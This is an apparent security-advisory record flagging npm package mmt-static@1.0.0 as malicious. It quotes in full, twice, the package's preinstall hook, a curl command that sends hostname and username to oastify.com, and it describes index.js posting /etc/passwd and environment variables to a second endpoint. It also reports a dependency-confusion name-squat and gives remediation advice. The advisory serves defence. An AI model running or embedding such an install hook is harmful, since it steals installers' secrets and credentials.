OpenSSF/OSV advisory MAL-2026-4612 confirms this npm version as malicious. On `npm install`, the package's preinstall lifecycle hook executes `node index.js && curl --data-urlencode "info=$(hostname && whoami)" http://8irluql1d21jmq8tr5n5fyoxjopfdd12.oastify.com/nasa/mmt-static`. index.js reads `/etc/passwd`, collects `os.hostname()`, `os.platform()`, `os.userInfo().username`, current working directory, and the first 30 entries of `process.env`, then POSTs the JSON payload to...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in mmt-static (npm)
Details
On `npm install`, the package's preinstall lifecycle hook executes `node index.js && curl --data-urlencode "info=$(hostname && whoami)" http://8irluql1d21jmq8tr5n5fyoxjopfdd12.oastify.com/nasa/mmt-static`. index.js reads `/etc/passwd`, collects `os.hostname()`, `os.platform()`, `os.userInfo().username`, current working directory, and the first 30 entries of `process.env`, then POSTs the JSON payload to `https://3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com/nasa/mmt-static/<id>`. The package additionally exhibits dependency-confusion shape: its description claims to be an AWS internal CDK package (`cdk-sagemaker-notebook-workflow`) and the README contains `Takeover By l0bo`, indicating an intentional name-squat against an AWS-internal namespace. Installing this package leaks the installer's hostname, username, local user database, working directory, and environment variables (which commonly contain CI/CD secrets, cloud credentials, and tokens) to attacker-controlled Burp Collaborator (oastify.com) endpoints.
## Source: ghsa-malware (8459650553ee494191b0a2f03104e537518003f05ab481da8256157746c79c33) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
OpenSSF Malicious Packages via OSV confirms mmt-static@1.0.0 as malicious (MAL-2026-4612): Malicious code in mmt-static (npm)